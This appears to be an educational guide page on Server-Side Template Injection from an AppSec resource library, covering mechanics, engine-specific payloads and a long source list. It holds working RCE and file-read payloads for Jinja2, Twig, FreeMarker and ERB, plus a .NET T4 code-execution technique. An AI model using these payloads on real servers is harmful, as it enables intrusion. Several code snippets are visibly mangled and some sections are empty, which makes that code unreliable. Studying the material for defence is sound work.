appsec.fyi

SSTI — A Practical Guide

A curated AppSec resource library covering XSS, SQLi, SSRF, IDOR, RCE, XXE, OSINT, and more.

SSTI: A Practical Guide

Curated and synthesized by . Last updated 2026-09-01. Synthesized from 98 of 98 curated resources. Browse all 98 SSTI resources →

Problem Framing

Server-Side Template Injection (SSTI) is a critical web application vulnerability that allows attackers to inject and execute arbitrary code on the server. This occurs when a web application dynamically constructs server-side templates using user-controlled input without proper sanitization or validation [1][2][3][4][5][6]. The core issue lies in the template engine's ability to interpret user input not as literal data, but as executable code or expressions [2][7][4]. The consequences can range from sensitive data disclosure and denial-of-service attacks to, most critically, full Remote Code Execution (RCE), granting attackers complete control over the compromised server [1][7][4][5][8].

Template engines are ubiquitous in modern web development, used for generating dynamic content like HTML pages, emails, and configuration files. This widespread adoption means that SSTI is a prevalent and significant threat across various technology stacks, including Java, Python, PHP, Ruby, JavaScript, and .NET [1][2][7][9][5]. The severity of SSTI is often directly tied to the capabilities of the underlying template engine and the execution context it provides, with some engines offering powerful introspection capabilities that can be leveraged for complex exploitation chains [7][10].

Core Mechanics

At its heart, SSTI exploits the inherent functionality of template engines designed to process dynamic content. These engines parse template files containing static markup interspersed with placeholders or directives that represent variables, expressions, or control structures [1][2]. When user input is directly incorporated into these templates, especially within expression delimiters like {{...}}, ${...}, or <%= ... %> [2][9][11][12][5][13][14], attackers can inject malicious code that the template engine will subsequently execute on the server [1][2][4][5][6].

The vulnerability typically arises from two primary misuse patterns:

1. Direct String Concatenation: User input is directly concatenated into the template string before rendering. This is inherently unsafe as it doesn't treat user input as mere data [1][2][3][6].

```python from flask import Flask, request, render_template_string app = Flask(__name__)

@app.route('/') def index(): name = request.args.get('name', 'Guest') # Vulnerable: user input is directly concatenated template = f"" return render_template_string(template) `` If an attacker provides {{ 7*7 }} as the name parameter, the rendered output would be `, indicating server-side evaluation [3][14].

2. Unsafe Template String Rendering: User input is used to define the template string itself, which is then passed to a rendering function that might interpret it as executable code [3][14][6].

```php

$loader = new \Twig\Loader\ArrayLoader([ 'template_key' => $_GET['user_template'] // User controls the template content ]); $twig = new \Twig\Environment($loader);

echo $twig->render('template_key', []); // Renders user-controlled template ?> `` If an attacker provides {{ system('id') }} via the user_template parameter, the server would execute the id` command [14][15][6].

The exploitation process generally follows these steps: 1. Detection: Identify input points where user-controlled data is reflected in the response. Inject common template syntax characters (e.g., {{, ${, <%=) and mathematical expressions (e.g., 7*7) to observe server-side evaluation [2][11][4][14][8][15][6]. Error messages can also reveal the template engine in use [2][15]. 2. Identification: Based on syntax and error messages, determine the specific template engine (e.g., Jinja2, Twig, FreeMarker, ERB) [2][9][11][14][8][15][6]. 3. Exploitation: Leverage the identified engine's capabilities to achieve arbitrary code execution. This often involves exploring accessible objects, methods, and built-in functions, particularly those related to system operations or file access [1][2][7][4][10].

Notable Techniques

The exploitation of SSTI is highly dependent on the specific template engine and its configuration, including any sandboxing mechanisms implemented. Attackers often look for ways to access built-in objects or functions that allow interaction with the server's operating system or filesystem.

Accessing Global Objects and Built-ins

Many template engines provide access to core language objects that can be leveraged for exploitation.

``jinja {{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }} ` This payload, leveraging class introspection, can read files. The index [40]` may vary depending on the Python version [17][19].

``jinja {{ config.__class__.__init__.__globals__['os'].popen('id').read() }} ` This payload accesses the os module via the config object's globals to execute the id` command [17][22].

``twig {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}} ` This payload registers a callback to execute system and then calls the id` command [2][14].

``ftl <#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") } ` This uses FreeMarker's built-in function ?new() to instantiate the Execute class and run the id` command [2][32][31].

``erb <%= system('whoami') %> ` This directly executes the whoami command via the system` function [12][34].

Sandbox Escapes and Filter Bypasses

Template engines often implement sandboxing or input filtering to prevent malicious code execution. Attackers employ various techniques to bypass these defenses:

.NET T4 Templating

While most SSTI discussions focus on web frameworks, .NET's Text Template Transformation Toolkit (T4) also presents an SSTI vector. The TextTransform.exe, TextTransformCore.exe, t4.exe, and MSBuild.exe utilities can process .tt files containing C# or Visual Basic code. Attackers can abuse these to execute arbitrary code during the templating process [40].

``csharp <#@ template language="C#" #> <#@ assembly name="System.Diagnostics.Process" #> <#@ import namespace="System.Diagnostics" #> <# Process.Start("calc.exe"); #> ` Executing TextTransform.exe` with this file would launch the calculator [40].

``xml TextTemplatingFileGenerator output.txt ` Running MSBuild.exe with the /t:Transform flag and specifying the .csproj` file can trigger the template execution [40].

Detection and Prevention

Effective detection and prevention of SSTI require a multi-layered approach, focusing on both code-level security and runtime monitoring.

Detection Strategies

Prevention Measures

``python # Secure: User input is passed as a variable, safely escaped by default return render_template('greeting.html', username=user_input) `` This contrasts with insecure direct string formatting.

Tooling

Several tools are invaluable for detecting and exploiting SSTI vulnerabilities:

Recent Developments

SSTI remains an active area of research and exploitation, with new vulnerabilities and bypass techniques being discovered regularly. Recent developments highlight:

Where to Go Deeper

To gain a comprehensive understanding of SSTI, delve into the following resources:

Sources cited in this guide

  1. SSTI: Explanation, Discovery, Exploitation, and Prevention — akto.io
  2. SSTI: Breaking Out of Templates — kayssel.com
  3. What is SSTI in Flask/Jinja2? — Payatu — payatu.com
  4. Find and Exploit Server-Side Template Injection — TCM Security — tcm-sec.com
  5. What is Server-Side Template Injection? (Indusface) — indusface.com
  6. Server-side template injection | Web Security Academy — portswigger.net
  7. A Survey of the Overlooked Dangers of Template Engines (arXiv 2024) — arxiv.org
  8. Server-side template injection PortSwigger KB — portswigger.net
  9. Inj3ctlab — SSTI Bug Bounty Labs Writeup — len4m.github.io
  10. Exploiting server-side template injection vulnerabilities — portswigger.net
  11. PayloadsAllTheThings — SSTI README — github.com
  12. Ruby ERB Template Injection (TrustedSec) — trustedsec.com
  13. SSTI Explained with Real Code Examples - Xygeni — xygeni.io
  14. OWASP Testing for Server Side Template Injection — owasp.org
  15. Server-Side Template Injection | PortSwigger Research — portswigger.net
  16. SSTI (The Hacker Recipes) — thehacker.recipes
  17. A Simple Flask (Jinja2) SSTI Example (Kleiber) — kleiber.me
  18. OnSecurity: Server Side Template Injection with Jinja2 — onsecurity.io
  19. Flask & Jinja2 SSTI cheatsheet — pequalsnp-team.github.io
  20. HackTricks: Jinja2 SSTI — book.hacktricks.xyz
  21. HackTricks: SSTI (Server Side Template Injection) — book.hacktricks.xyz
  22. SSTI in Jinja2 allows RCE (changedetection.io) — github.com
  23. Grav CMS Twig SSTI Authenticated Sandbox Bypass RCE — rapid7.com
  24. Grav CMS: RCE via SSTI through Twig Sandbox Bypass — github.com
  25. Exploiting CVE-2021-25770: SSTI in YouTrack (Synacktiv) — synacktiv.com
  26. Grav: SSTI via Twig escape handler advisory — github.com
  27. Exploit-DB: Twig 2.4.4 Server Side Template Injection — exploit-db.com
  28. SSTI in Freemarker (Akto) — akto.io
  29. Breaking the Barrier: RCE via SSTI in FreeMarker — medium.com
  30. Synack: Discovering an SSTI vulnerability in FreeMarker — synack.com
  31. PayloadsAllTheThings SSTI: Java — github.com
  32. OpenMetadata: FreeMarker SSTI in email templates leads to RCE — github.com
  33. PayloadsAllTheThings: SSTI Ruby payloads — github.com
  34. ruby-ssti: example Ruby ERB app vulnerable to SSTI — github.com
  35. Jinja2 template injection filter bypasses (0day.work) — 0day.work
  36. Jinja2/Flask SSTI Filter bypass (MRLSECURITY) — mrlsecurity.com
  37. Jinja2 SSTI filter bypasses — medium.com
  38. Exploiting SSTI in Thymeleaf — acunetix.com
  39. Exploiting SSTI in a Modern Spring Boot Application — modzero.com
  40. Code Execution via Text Template Files | Playbook & Detection — ipurple.team
  41. Don't Panic: The Thymeleaf Template Injection That Only Hurts If You Let It (CVE-2026-40478) — snyk.io
  42. Grav CMS: Security Sandbox Bypass with SSTI — github.com
  43. Handlebars.js: Safe Usage to Avoid Injection Flaws — xygeni.io
  44. tplmap-python3: Python3 port (GitHub) — github.com
  45. Server Side Template Injection - Payloads All The Things — swisskyrepo.github.io
  46. epinna/tplmap: SSTI and Code Injection Detection and Exploitation Tool — github.com
  47. PayloadsAllTheThings: Server Side Template Injection — github.com
  48. vladko312/SSTImap: Automatic SSTI detection tool with interactive interface — github.com
  49. PayloadsAllTheThings - SSTI JavaScript engines — github.com
  50. Exploiting SSTI in Golang Frameworks — payatu.com
  51. Template Injection Research | PortSwigger Research — portswigger.net
  52. SSTI - Server-side template injection with a custom exploit (Scott Murray) — sc.scomurr.com
  53. YesWeHack: Limitations are just an illusion — advanced SSTI exploitation with RCE everywhere — yeswehack.com
  54. Exploiting Jinja SSTI with limited payload size — niebardzo.github.io
  55. CVE-2025-23211: Jinja2 SSTI Turns Recipes Into RCE — vsec.com.br
  56. CVE-2024-29178: Apache StreamPark FreeMarker SSTI — openwall.com
  57. CVE-2021-43466: Thymeleaf Spring5 RCE — security.snyk.io
  58. ServiceNow RCE Exploitation Campaign — resecurity.com
  59. Multiple ServiceNow SSTI Vulnerabilities — censys.com
  60. ServiceNow RCE (CVE-2024-4879) Analysis — cyfirma.com
  61. CVE-2026-27641: Flask-Reuploaded Path Traversal Enabling SSTI RCE — github.com
  62. Active Exploitation of Confluence CVE-2022-26134 (Rapid7) — rapid7.com
  63. Atlassian Confluence Widget Connector Macro SSTI (ExploitDB) — exploit-db.com
  64. Strapi Security Disclosure: Multi-CVE SSTI chain — strapi.io
  65. Bug Bytes #124: SSTI to RCE in Go apps (Intigriti) — blog.intigriti.com
  66. CVE-2022-46166: Spring Boot Admin RCE — sangfor.com
  67. Handlebars template injection and RCE in Shopify app — mahmoudsec.blogspot.com
  68. SpringBootAdmin Thymeleaf SSTI to RCE — github.com
  69. Golang SSTI: Safe by Default or Vulnerable by Design — oligo.security
  70. SSTI: Transforming Web Apps from Assets to Liabilities — research.checkpoint.com
  71. CVE-2025-23211: Tandoor Recipes Jinja2 SSTI to RCE — offsec.com
  72. CVE-2023-49964: FreeMarker SSTI in Alfresco — github.com
  73. GitHub Security Lab: SSTI in Apache Camel — CVE-2020-11994 — securitylab.github.com
  74. SSTI: RCE for the Modern Web App - Black Hat 2015 — blackhat.com
  75. picoCTF 2025: SSTI2 Exploitation Writeup — medium.com
  76. picoCTF 2025: SSTI Challenge Writeup — medium.com
  77. GoSecure: Template Injection in Action workshop — gosecure.github.io
📚 This guide is synthesized from the full text of resources curated in the SSTI library, and refreshed as new material is added.